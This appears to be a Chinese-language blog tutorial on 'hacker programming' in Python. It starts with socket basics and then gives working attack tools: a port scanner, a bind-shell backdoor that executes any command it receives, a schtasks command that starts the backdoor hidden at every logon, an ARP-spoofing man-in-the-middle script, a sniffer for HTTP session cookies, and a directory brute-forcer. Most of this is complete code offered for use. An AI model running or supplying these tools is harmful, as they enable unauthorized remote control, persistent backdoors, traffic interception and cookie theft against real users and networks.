1. 程式人生 > 實用技巧 >python黑客程式設計(1)

python黑客程式設計(1)

socket網路程式設計

客戶端, 傳送資料到127.0.0.1:4444

# Socket網路程式設計
# 編寫TCP客戶端 ,服務端
import socket

def main(target, port):
	# 1. 建立socket套接字
	client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	# 2. 建立TCP連線
	client.connect((target, port))
	# 3. 接收,傳送資料
	client.send(b"[client]hello server")
	response = client.recv(1024)
	print(response)
	client.close()

if __name__ == '__main__':
    target = "127.0.0.1"
    port = 4444
    main(target,port)

服務端,在0.0.0.0:4444監聽

upload

客戶端向服務端傳送檔案資料

bytes與 str之間的轉換


test = "hello world"
print(type(test)) #<class 'str'>
byte = test.encode('utf-8')
print(type(byte)) #<class 'bytes'>
string = byte.decode()
print(type(string)) #<class 'str'>

sys庫

import sys

print(sys.argv)
目錄 引數1 引數2
如 python test.py  aa bb cc
輸出 ['C:/Users/Administrator/test.py','aa','bb','cc']
上面輸出的是陣列

getopt

import getopt

opts,args = getopt.getopt(sys.argv[1:], "a:b:c:")
print(opts)
for i,j in opts:
	print(i,j)

# py test.py -a 1 -b 2 -c xx
# [('-a', '1'), ('-b', '2'), ('-c', 'xx')]
# -a 1
# -b 2
# -c xx

主要程式碼

# 1. 建立socket 套接字
# 2. 繫結IP和埠
# 3. 進行監聽
# 4.接收,傳送資料

import socket

def main(target,port):
	server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	server.bind((target,port))
	server.listen(10)
	print("[*] Listening on %s:%d "%(target,port))
	
	while True:
		client, addr = server.accept()
		
		print("[*] Accept from %s:%d"%(target,port))
		response = client.recv(1024)
		print(response)
		client.send(b"[*][server] sussessful to connection...")
		client.close()
	
		
if __name__ == '__main__':
    target = '0.0.0.0'
    port = 4444
    main(target,port)
import sys
import getopt
import socket
import time

upfile = ""

def main():
	global upfile
	help = False
	listen =False
	target = ""
	port = 0
	# 獲取命令列引數
	opts, args = getopt.getopt(sys.argv[1:], "t:p:u:hl")
	for o, a in opts:
		if o == '-t':
			target = a
		elif o== "-p":
			port = int(a)
		elif o == "-u":
			upfile = a
		elif o == "-h":
			help = True
		elif o == "-l":
			listen = True
		else:
			assert False,"Error!"
	
	if help:
		useinfo()
	# 區分客戶端,服務端
	if not listen:
		client_handle(target, port)
	else:
		server_handle(port)

# 客戶端函式
def client_handle(target,port):
	client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	client.connect((target,port))
	client.send(upfile.encode('utf-8'))
	time.sleep(1) #延遲一秒
	upload_file(client)
	client.close()

# 檔案上傳函式
def upload_file(client):
	f = open(upfile,"rb")
	data = f.read()
	f.close()
	client.send(data)


# 服務端函式
def server_handle(port):
	server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	server.bind(('0.0.0.0', port))
	server.listen(10)
	print("[*] Listening on 0.0.0.0:%d" %port)
	while True:
		client_socket,addr=server.accept()
		download_file(client_socket)
		client_socket.close()
		
# 檔案下載函式
def download_file(client_socket):
	filename = client_socket.recv(1024)
	filename=filename.decode()
	print("[*] Receive file :%s" % filename)
	file_buffer = "".encode('utf-8')
	while True:
		data = client_socket.recv(1024)
		if not data:
			break
		else:
			file_buffer += data
		f =open(filename,'wb')
		f.write(file_buffer)
		f.close()
	
#定義banner函式
def useinfo():
	print(
		"useinfo info:\n",
		"------------------------------------\n",
		"use in python3.8\n",
		"helpinfo: python upload.py -h\n",
		"client: python upload.py -t [target] -p [port] -u [uploadfilepath]\n",
		"server: python upload.py -lp [port]\n",
		"------------------------------------"
	)
	sys.exit()

if __name__ == '__main__':
    main()

埠掃描

## TCP 埠掃描
# 1. 定義portScan 函式,用來進行TCP埠掃描
# 2. 啟動多執行緒執行掃描函式

import socket
from threading import Thread
import time

def main(target,ports):
	print("開始掃描: %s" %target)
	for port in range(1,int(ports)):
		t = Thread(target=portscan,args=(target,port))
		t.start()

def portscan(target,port):
	try:
		client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		client.connect((target, port))
		print("[*] %s:%d 開放" % (target, port))
		client.close()
	except:
		pass

if __name__ =="__main__":
	target = input("請輸入IP: ")
	ports = input("請輸入埠(1-?) : ")
	print(ports)
	start = time.time()
	main(target,ports)
	end = time.time()
	print("耗時 %.5f秒"%(end-start))

反彈shell

基礎知識

1. 利用schtasks建立計劃任務
具體可參考 https://www.cnblogs.com/lostyue/archive/2011/10/24/2223166.html
schtasks /create /tn "backdoor" /tr "command" /sc onlogon
/tn TaskName    指定任務的名稱
/tr TaskRun     指定任務執行的程式或命令
/sc schedule    指定計劃型別
	ONLOGON 每當使用者(任意使用者)登入的時候,任務就執行
2. powershell 隱藏執行的終端
powershell -windowstyle hidden -command '_xxx_'
最終可合成: 如下
schtasks /create /tn "backdoor" /tr "powershell -windowstyle hidden -command 'python backdoor.py -lp 1234" /sc onlogon


1. useinfo函式
2. 利用getopt模組獲得引數
3. 區分客戶端和服務端
4. 定義客戶端程式碼
5. 定義服務端程式碼
6. 定義命令執行函式

subprocess

import subprocess

def run_command():
	while True:
		try:
			command = input("shell_>")
			out = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
			print(out.decode('gbk'))
		except:
			print("SB command")
		
run_command()

主要程式碼

import socket
import getopt
import sys
import subprocess
from threading import Thread

def useinfo():
	print(
		"useinfo info:\n",
		"------------------------------------\n",
		"use in python3.8\n",
		"helpinfo: python backdoor.py -h\n",
		"client: python backdoor.py -t [target] -p [port] \n",
		"server: python backdoor.py -lp [port]\n",
		"------------------------------------"
	)
	sys.exit()
	
	
def main():
	target = ""
	port = 0
	listen = False
	help = False
	opts, args = getopt.getopt(sys.argv[1:],"t:p:hl")
	for o,a in opts:
		if o == '-t':
			target = a
		elif o == '-p':
			port = int(a)
		elif o == '-l':
			listen = True
		elif o =='-h':
			help = True
		else:
			assert False,"Error! "
	if help:
		useinfo()
	elif not listen:
		client_handle(target,port)
	else:
		server_handle(port)

	
def client_handle(target,port):
	client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	client.connect((target,port))
	
	while True:
		recv_len = 1
		response = "".encode('utf-8')
		while recv_len:
			data = client.recv(4096)
			recv_len = len(data)
			response += data
			if recv_len < 4096:
				break
		print(response.decode('gbk'),end="")
		
		buffer = input("")
		buffer += '\n'
		client.send(buffer.encode('utf-8'))

def server_handle(port):
	server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	server.bind(('0.0.0.0',port))
	server.listen(10)
	print("[*]server: Linstening on 0.0.0.0:%d" %port)
	while True:
		client_socket, addr = server.accept()
		print("[*] Accept connection from %s:%d" %(addr[0],addr[1]))
		t = Thread(target=run_command,args=(client_socket,))# 這裡必須有個逗號
		t.start()

def run_command(client_socket):
	while True:
		client_socket.send(b"shell_>")
		cmd_buffer = "".encode('utf-8')
		while b"\n" not in cmd_buffer:
			cmd_buffer += client_socket.recv(1024)
		cmd_buffer = cmd_buffer.decode()
		try:
			out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
			client_socket.send(out)
		except:
			client_socket.send(b"Failed to execute command\r\n")
			
if __name__ == '__main__':
    main()

ARP欺騙

scapy

from scapy.all import *

def packet_callback(packet):
	print(packet.show())

# filter 指定過濾器
# iface用於設定網絡卡 這裡未指定,預設抓取全部
# prn用於呼叫回撥函式(處理抓到資料的函式)
# count 指定嗅探資料包的個數
# store 指定不再記憶體當中保留原始資料包

sniff(filter="",prn=packet_callback,count=1,store=0)
# 傳送ARP資料包

from scapy.all import *

response, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.101"),timeout=1,verbose=0)
target_mac = 0
for s,r in response:
	print(r[ARP].hwsrc)
	target_mac = r[ARP].hwsrc

target = ARP()
target.op = 2
target.psrc = '192.168.1.1'
target.pdst = '192.168.1.101'
target.hwdst = target_mac
print(target.show())
send(target)

主要程式碼


# 嗅探資料包
# 恢復靶機ARP快取

from scapy.all import *
import time
from threading import Thread

def main(target_ip,gateway_ip):
	# 獲取MAC
	target_mac = get_mac(target_ip)
	gateway_mac = get_mac(gateway_ip)
	
	# 啟動ARP欺騙
	t = Thread(target=start,args=(target_ip,target_mac,gateway_ip,gateway_mac))
	t .setDaemon(True)
	t.start()
	# 嗅探資料包
	sniff(filter='tcp port 80',prn=HttpCallback,store=0)
	
	# 停止攻擊
	Stop(target_ip,target_mac,gateway_ip,gateway_mac)
	
def HttpCallback(packet):
	if packet[TCP].payload:
		cookie_packet = bytes(packet[TCP].payload)
		for info in cookie_packet.split(b'\n'):
			print(info)
	
	
def Stop(target_ip,target_mac,gateway_ip,gateway_mac):
	print('[*] Attack Stop!...')
	send(ARP(op=2,psrc=gateway_ip,hwsrc=gateway_mac,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff"),count=5)
	send(ARP(op=2, psrc=target_ip, hwsrc=target_mac, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff"),count=5)
	
	
def start(target_ip,target_mac,gateway_ip,gateway_mac):
	# 欺騙靶機
	target = ARP()
	target.op = 2
	target.psrc = gateway_ip
	target.pdst = target_ip
	target.hwdst = target_mac
	# 欺騙閘道器
	gateway = ARP()
	gateway.op = 2
	gateway.psrc = target_ip
	gateway.pdst = gateway_ip
	gateway.hwdst = gateway_mac
	
	print('[*] Attack Start!...')
	while True:
		send(target)
		send(gateway)
		time.sleep(2)

	
	
def get_mac(ip):
	response, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=1, verbose=0)
	target_mac = 0
	for s, r in response:
		target_mac = r[ARP].hwsrc


if __name__ == '__main__':
	# 從命令列獲取要欺騙的IP
    target_ip = input("Target IP: ")
    gateway_ip = input("Gateway IP: ")
    main(target_ip,gateway_ip)

Cookie嗅探

from scapy.all import *


def packet_callback(packet):
	if packet[TCP].payload:
		cookie_packet = bytes(packet[TCP].payload)
		if b"cookie" in cookie_packet:
			#print(cookie_packet)
			for info in cookie_packet.split(b'\n'):
				#print(info)
				if b'GET /' in info or b'Referer' in info:
					print(info)
				elif b'Cookie' in info:
					print(info,'\n')
					

if __name__ == '__main__':
    sniff(filter="tcp port 80",prn=packet_callback,store=0)

目錄爆破

# 1. 輸入目標url和執行緒大小
# 2. 以佇列的形式獲取要爆破的路徑
# 3. 定義路徑獲取函式get_path()
# 4. 利用多執行緒進行url目錄爆破
# 5. 定義目錄爆破函式get_url()

import urllib3
import queue
import threading
import sys
import time

def main(url, threadNum):
    # 2. 以佇列的形式獲取要爆破的路徑
    path_queue = get_path(url)

    # 4. 利用多執行緒進行url目錄爆破
    threads = []
    for i in range(threadNum):
        t = threading.Thread(target=get_url, args=(path_queue, ))
        threads.append(t)
        t.start()
    for t in threads:
        t.join()


# 5. 定義目錄爆破函式get_url()
def get_url(path_queue):
    while not path_queue.empty():
        try:
            url = path_queue.get()
            http = urllib3.PoolManager()
            response = http.request('GET', url)
            if response.status == 200:
                print("[%d] = > %s" % (response.status, url))
        except:
            pass
    else:
        sys.exit()


# 3. 定義路徑獲取函式get_path()
def get_path(url, file="/root/Desktop/PHP.txt"):
    path_queue = queue.Queue()
    f = open(file, "r", encoding="gbk")
    for i in f.readlines():
        path = url + i.strip()
        path_queue.put(path)
    f.close()
    return path_queue


if __name__ == "__main__":

    start = time.time()
    # 1. 輸入目標url和執行緒大小
    url = input("please input url: ")
    threadNum = int(input("please input threads:"))
    main(url, threadNum)
    end = time.time()
    print("總共耗時 %.2f" % (end-start))